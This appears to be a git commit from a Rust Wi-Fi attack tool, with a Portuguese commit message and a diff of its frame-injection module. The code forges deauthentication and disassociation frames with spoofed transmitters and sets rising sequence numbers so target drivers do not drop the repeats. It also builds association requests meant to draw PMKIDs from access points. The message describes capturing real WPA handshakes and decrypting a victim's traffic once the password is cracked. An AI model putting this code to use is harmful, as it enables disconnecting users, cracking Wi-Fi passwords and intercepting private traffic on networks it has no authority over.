fix: captura de handshake real (endianness EAPOL) e enriquece o parsing 802.11

- eapol.rs: key_info/replay_counter/key_data_len liam little-endian; são
  big-endian (802.1X segue ordem de rede), então handshakes reais nunca
  fechavam mesmo com deauth funcionando. testutil.rs e os geradores de
  quadro de teste corrigidos junto, mais um teste contra bytes de wire
  reais (não só contra o próprio encoder).
- inject.rs: deauth/disassoc agora grava Sequence Control crescente por
  quadro — reenviar o mesmo quadro era descartado como duplicata pelo
  driver/AP depois do primeiro envio.
- dot11.rs/scan.rs: parsing de AP/cliente bem mais completo (PMF
  obrigatório, WPS detalhado, fabricante por OUI, país, largura de banda,
  padrão PHY, privacidade) e histórico de sinal/eventos por cliente.
- handshake.rs/ccmp.rs: deriva a Temporal Key (CCMP) quando a senha é
  quebrada, o suficiente pra decifrar o tráfego em claro do par
  (BSSID, estação) cujo handshake foi capturado.
This commit is contained in:
Lucas Rayan committed 2026-10-24 14:53:32 -03:00
1 parent dab86d1fa7
commit 5477b8fb03
10 files changed
+2523 -19

No files matched your search

+143 -1
View File
@@ -17,13 +17,26 @@ fn radiotap_min() -> [u8; 8] {
}
fn mgmt_frame(subtype: u8, bssid: [u8; 6], destination: [u8; 6], reason: u16) -> Vec<u8> {
mgmt_frame_from(subtype, bssid, bssid, destination, reason)
}
/// Quadro de gerenciamento com transmissor explícito. Permite forjar tanto
/// AP→STA (`transmitter = BSSID`) quanto STA→AP (`transmitter = estação`),
/// usado no teste bidirecional de PMF.
fn mgmt_frame_from(
subtype: u8,
transmitter: [u8; 6],
bssid: [u8; 6],
destination: [u8; 6],
reason: u16,
) -> Vec<u8> {
let fc: u16 = (subtype as u16) << 4;
let mut f = Vec::with_capacity(8 + 24 + 2);
f.extend_from_slice(&radiotap_min());
f.extend_from_slice(&fc.to_le_bytes());
f.extend_from_slice(&0u16.to_le_bytes());
f.extend_from_slice(&destination); // addr1: destino
f.extend_from_slice(&bssid); // addr2: BSSID/transmissor
f.extend_from_slice(&transmitter); // addr2: transmissor
f.extend_from_slice(&bssid); // addr3: BSSID
f.extend_from_slice(&[0u8; 2]); // número de sequência
f.extend_from_slice(&reason.to_le_bytes());
@@ -36,11 +49,129 @@ pub fn deauth_frame(bssid: [u8; 6], destination: [u8; 6], reason: u16) -> Vec<u8
mgmt_frame(12, bssid, destination, reason)
}
/// Desautenticação forjada com transmissor arbitrário (STA→AP).
pub fn deauth_frame_from(
transmitter: [u8; 6],
bssid: [u8; 6],
destination: [u8; 6],
reason: u16,
) -> Vec<u8> {
mgmt_frame_from(12, transmitter, bssid, destination, reason)
}
/// Desassociação forjada com transmissor arbitrário (STA→AP).
pub fn disassoc_frame_from(
transmitter: [u8; 6],
bssid: [u8; 6],
destination: [u8; 6],
reason: u16,
) -> Vec<u8> {
mgmt_frame_from(10, transmitter, bssid, destination, reason)
}
/// Quadro de desassociação (subtipo 10).
pub fn disassoc_frame(bssid: [u8; 6], destination: [u8; 6], reason: u16) -> Vec<u8> {
mgmt_frame(10, bssid, destination, reason)
}
/// Offset do campo "Sequence Control" dentro de um quadro de gerenciamento
/// construído por [`mgmt_frame_from`] (8 de radiotap + 22 até o campo).
const SEQ_CTRL_OFFSET: usize = 30;
/// Grava um número de sequência (0–4095) no quadro, deixando o número de
/// fragmento (4 bits baixos) zerado. Sem isso, todo quadro injetado sai com
/// sequência 0 e o driver do alvo descarta as repetições como duplicata,
/// fazendo a desautenticação não ter efeito nenhum apesar de "enviada".
pub fn set_seq(frame: &mut [u8], seq: u16) {
if frame.len() < SEQ_CTRL_OFFSET + 2 {
return;
}
let field = (seq & 0x0fff) << 4;
frame[SEQ_CTRL_OFFSET] = (field & 0xff) as u8;
frame[SEQ_CTRL_OFFSET + 1] = (field >> 8) as u8;
}
fn ie(tag: u8, value: &[u8]) -> Vec<u8> {
let mut out = Vec::with_capacity(2 + value.len());
out.push(tag);
out.push(value.len() as u8);
out.extend_from_slice(value);
out
}
/// Autenticação aberta (algoritmo 0, sequência 1). Usada antes do association
/// request no teste de PMKID.
pub fn auth_frame(bssid: [u8; 6], station: [u8; 6]) -> Vec<u8> {
let mut f = Vec::with_capacity(8 + 24 + 6);
f.extend_from_slice(&radiotap_min());
f.extend_from_slice(&0x00b0u16.to_le_bytes());
f.extend_from_slice(&0u16.to_le_bytes());
f.extend_from_slice(&bssid);
f.extend_from_slice(&station);
f.extend_from_slice(&bssid);
f.extend_from_slice(&[0u8; 2]);
f.extend_from_slice(&0u16.to_le_bytes()); // algoritmo aberto
f.extend_from_slice(&1u16.to_le_bytes()); // sequência
f.extend_from_slice(&0u16.to_le_bytes()); // status
f
}
fn rsn_ie(akms: &[u8], pmf: bool, pmf_required: bool, pmkid: &[u8; 16]) -> Vec<u8> {
let mut val = Vec::new();
val.extend_from_slice(&1u16.to_le_bytes());
val.extend_from_slice(&[0x00, 0x0f, 0xac, 4]); // grupo CCMP
val.extend_from_slice(&1u16.to_le_bytes());
val.extend_from_slice(&[0x00, 0x0f, 0xac, 4]); // pairwise CCMP
val.extend_from_slice(&(akms.len() as u16).to_le_bytes());
for akm in akms {
val.extend_from_slice(&[0x00, 0x0f, 0xac, *akm]);
}
let mut caps = 0u16;
if pmf {
caps |= 0x0080;
}
if pmf_required {
caps |= 0x0040;
}
val.extend_from_slice(&caps.to_le_bytes());
val.extend_from_slice(&1u16.to_le_bytes()); // PMKID count
val.extend_from_slice(pmkid);
ie(48, &val)
}
/// Association request com RSN/PMKID. O AP pode responder com a mensagem 1
/// do 4-way handshake contendo o PMKID — é isso que o teste tenta provocar.
pub fn assoc_request_frame(
bssid: [u8; 6],
station: [u8; 6],
ssid: &str,
akms: &[u8],
pmf: bool,
pmf_required: bool,
pmkid: [u8; 16],
) -> Vec<u8> {
let mut body = Vec::new();
body.extend_from_slice(&0x0431u16.to_le_bytes()); // ESS + short slot
body.extend_from_slice(&10u16.to_le_bytes()); // listen interval
body.extend_from_slice(&ie(0, ssid.as_bytes()));
body.extend_from_slice(&ie(1, &[0x82, 0x84, 0x8b, 0x96]));
body.extend_from_slice(&ie(50, &[0x0c, 0x12, 0x18, 0x24, 0x30, 0x36]));
if !akms.is_empty() {
body.extend_from_slice(&rsn_ie(akms, pmf, pmf_required, &pmkid));
}
let mut f = Vec::with_capacity(8 + 24 + body.len());
f.extend_from_slice(&radiotap_min());
f.extend_from_slice(&0x0000u16.to_le_bytes());
f.extend_from_slice(&0u16.to_le_bytes());
f.extend_from_slice(&bssid);
f.extend_from_slice(&station);
f.extend_from_slice(&bssid);
f.extend_from_slice(&[0u8; 2]);
f.extend_from_slice(&body);
f
}
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
pub enum Reason {
Unspecified = 1,
@@ -160,4 +291,15 @@ mod tests {
assert_eq!(&f[12..18], &BROADCAST);
assert_eq!(f.len(), 8 + 24 + 2);
}
#[test]
fn set_seq_writes_sequence_number_without_touching_fragment_bits() {
let mut f = deauth_frame(bssid(), station(), 7);
set_seq(&mut f, 1);
let seq_ctrl = u16::from_le_bytes([f[SEQ_CTRL_OFFSET], f[SEQ_CTRL_OFFSET + 1]]);
assert_eq!(seq_ctrl, 1 << 4);
set_seq(&mut f, 0x0fff);
let seq_ctrl = u16::from_le_bytes([f[SEQ_CTRL_OFFSET], f[SEQ_CTRL_OFFSET + 1]]);
assert_eq!(seq_ctrl, 0x0fff << 4);
}
}